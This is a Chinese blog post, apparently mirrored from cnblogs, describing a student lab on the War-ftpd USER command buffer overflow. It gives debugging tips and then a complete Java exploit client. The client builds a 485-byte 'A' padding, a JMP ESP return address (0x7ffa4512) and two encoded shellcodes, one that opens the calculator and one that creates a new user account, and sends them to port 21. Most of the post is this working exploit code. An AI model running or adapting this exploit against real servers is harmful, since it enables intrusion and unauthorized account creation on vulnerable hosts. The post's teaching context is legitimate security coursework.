zoukankan      html  css  js  c++  java
  • War-ftpd USER longString漏洞攻击之Java实现常见问题

      发表这篇文章的最重要原因是,在用Java实现War-ftpd缓冲区溢出实验时,我遇到了很多问题,而且我认为这些问题

    都是非常不容易发现和解决的,为了以后学习的同学的便利,此处写下自己遇到的问题作为分享。

    @1:不管是通过cdb挂起还是通过直接双击打开War-ftpd都会出现“Unknown file format for user database”的弹窗,

    解决方法:删除掉FtpDaemon.dat文件。

    @2:如果在C:Documents and SettingsAdministrator目录(CMD默认目录)下执行"C:Program FilesDebugging

    Tools for Windowscdb.exe" "C:lxw_Exp2War-ftpdwar-ftpd.exe"命令,则会始终出现(即使是删除掉C:lxw_E

    xp2War-ftpd FtpDaemon.dat文件)“Unknown file format for user database”的弹窗。

    解决方法:通过绝对路径访问程序(对于通过环境变量调用cdb.exe程序和war-ftpd.exe也会存在这样的问题),

    程序运行的一些文件(FtpDaemon.dat文件)会保留在当前目录下(也就是C:Documents and SettingsAdministrator

    目录下),所以需要将该目录下的FtpDaemon.dat文件一同删掉。

    @3:最初在实现该实验程序部分时,实验能够使War-ftpd发生缓冲区溢出的错误,但EIP和ESP的值在cdb调试时总是会出现

    问题,不能够吻合,所以也就无法成功的执行shellCode。如果以String类型的变量存储要发送的字符串,例如:

    String str ="USER ";
    //攻击代码构建:
    //0-484
    for(int i = 0; i < 485; ++i)
    {
        str += (char)0x41;
    }
    str += (char)0x12;
    str += (char)0x45;
    str += (char)0xfa;
    str += (char)0x7f; //7ffa4512
    …
    OutputStream os = client.getOutputStream();
    os.write(str.getBytes());

    则发送的JMP ESP部分的16进制变为5个字节不再是4个字节【这儿一定要注意】。

    所以也就导致了JMP ESP地址覆盖到RET不成功,也就导致了虽然War-ftpd成功的溢出,但shellCode却不能被成功的执行。

    解决方法:全部的数据(USER + 填充字符 + 0x7ffa4512 + 填充字符 + shellcode + “ ”)【直接采用byte数组的

    形式】进行发送。

    @4:发送的byte数组最后一个字符必须是字符‘ ’对应的byte型数据,否则将不能成功的使shellCode被执行,实际上是连

    War-ftpd都没有发生溢出。这个问题比较不容易发现。

    -----------------------------------2014.11.22 补充--------------------------------------------------------

      非常高兴这篇博客能够帮到一些同学,在这里把我的代码贴上来,仅供大家参考:

    import java.net.* ;
    import java.io.* ;
    import java.util.Scanner;
    public class Client
    {
        public static void main(String args[]) throws Exception 
        {    
            InetAddress inet3 = InetAddress.getLocalHost();
            //获得对象中存储的IP
            String ipAddr = inet3.getHostAddress();    
            Socket client = new Socket(ipAddr, 21) ;    //客户端        
            byte[] be = new byte[1000];
                    
            //攻击代码构建:
            //0-484
            int i = 0;
            be[i++] = 'U';
            be[i++] = 'S';
            be[i++] = 'E';
            be[i++] = 'R';
            be[i++] = ' ';
            
            for(i = 5; i < 490; ++i)
            {
                be[i] = 'A';
            }
            
            be[i++] = (byte)0x12;
            be[i++] = (byte)0x45;
            be[i++] = (byte)0xfa;
            be[i++] = (byte)0x7f;         //0x7ffa4512
    
            for(int j = 0; j < 4; ++j)
            {
                be[i++] = 'B';
            }
    
            //打开计算器的shellCode
            byte ch1[] = 
    {
    (byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x58,(byte)0x45,(byte)0x34,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x37,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x31,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x45,(byte)0x42,(byte)0x52,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x54,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x53,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x30,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x59,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x53,(byte)0x46,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x37,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x46,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x41,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x35,(byte)0x46,(byte)0x52,(byte)0x46,(byte)0x50,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x56,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x34,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x37,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x54,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x31,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x48,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x48,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x36,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x55,(byte)0x41,(byte)0x53,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x46,(byte)0x48,(byte)0x45,(byte)0x49,(byte)0x48,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x58,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x55,(byte)0x4a,(byte)0x56,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x46,(byte)0x30,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x55,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x56,(byte)0x41,(byte)0x46,(byte)0x4e,(byte)0x36,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x30,(byte)0x5a
    };
            
            //创建新用户的shellcode
            byte ch2[] = 
    {
    (byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x45,(byte)0x54,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x57,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x35,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x44,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x43,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x50,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x39,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x33,(byte)0x46,(byte)0x55,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x47,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x36,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x30,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x51,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x58,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x46,(byte)0x30,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x43,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x36,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x48,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x47,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x34,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x41,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x58,(byte)0x4a,(byte)0x36,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x38,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x46,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x35,(byte)0x41,(byte)0x43,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x56,(byte)0x48,(byte)0x35,(byte)0x49,(byte)0x58,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x45,(byte)0x4a,(byte)0x46,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x46,(byte)0x50,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x35,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x36,(byte)0x4d,(byte)0x56,(byte)0x46,(byte)0x56,(byte)0x50,(byte)0x52,(byte)0x45,(byte)0x36,(byte)0x4a,(byte)0x57,(byte)0x45,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x56,(byte)0x45,(byte)0x46,(byte)0x46,(byte)0x57,(byte)0x42,(byte)0x42,(byte)0x45,(byte)0x57,(byte)0x43,(byte)0x37,(byte)0x45,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x42,(byte)0x32,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x53,(byte)0x44,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x36,(byte)0x42,(byte)0x53,(byte)0x42,(byte)0x43,(byte)0x44,(byte)0x36,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x42,(byte)0x48,(byte)0x32,(byte)0x48,(byte)0x52,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x36,(byte)0x45,(byte)0x56,(byte)0x46,(byte)0x47,(byte)0x42,(byte)0x52,(byte)0x4e,(byte)0x56,(byte)0x4f,(byte)0x36,(byte)0x43,(byte)0x36,(byte)0x41,(byte)0x56,(byte)0x4e,(byte)0x56,(byte)0x47,(byte)0x56,(byte)0x44,(byte)0x57,(byte)0x4f,(byte)0x56,(byte)0x45,(byte)0x47,(byte)0x42,(byte)0x37,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x46,(byte)0x4d,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x50,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x43,(byte)0x57,(byte)0x46,(byte)0x57,(byte)0x44,(byte)0x37,(byte)0x41,(byte)0x56,(byte)0x46,(byte)0x37,(byte)0x4f,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x43,(byte)0x47,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x33,(byte)0x44,(byte)0x46,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x52,(byte)0x41,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x30,(byte)0x5a
    };
    
            System.out.println("
    War-ftpd缓冲区溢出攻击开始!
    ");
            System.out.println("请选择攻击操作:(1.打开计算器	2.添加用户)
    ");
            Scanner sc = new Scanner(System.in);
            int num = sc.nextInt();
            switch(num)
            {
                case 1:
                {
                    int length = ch1.length;
                    for(int j = 0; j < length; ++j)
                    {
                        be[i++] = ch1[j];
                    }            
                }
                break;    
                case 2:
                {
    
                    int length = ch2.length;
                    for(int j = 0; j < length; ++j)
                    {
                        be[i++] = ch2[j];
                    }
                }
                break;
            }
            be[i++] = '
    ';
            be[i++] = '
    ';    
            //最终的攻击代码
            byte [] b = new byte[i];
            for(int j = 0; j < i; ++j)
            {
                //System.out.print(be[j] + "	");
                b[j] = be[j];
            }
                    
             OutputStream os = client.getOutputStream();
            os.write(b);
            os.flush();
            os.close();
            client.close();
            System.out.println("
    War-ftpd缓冲区溢出攻击结束!
    ");
        }
    };
  • 相关阅读:
    绘制文字时如何让文字居中显示
    python获取指定时间段内的随机不重复的时间点
    python时间时分秒与秒数的互相转换
    python获取字母在字母表对应位置的几种方法及性能对比较
    配置指定使用tcc编译器编译nim程序
    nim也玩一行流,nim版的list comprehension
    python 中x%2 x&1 判断偶数奇数 性能对比
    推荐记录片系列:Ultimate Factories系列和MegaStructures系列
    计算机开放电子书汇总(包括二十多本python相关的图书教程)
    PyAutoGUI-python版的autoit/AHK
  • 原文地址:https://www.cnblogs.com/lxw0109/p/War_ftpd.html
Copyright © 2011-2022 走看看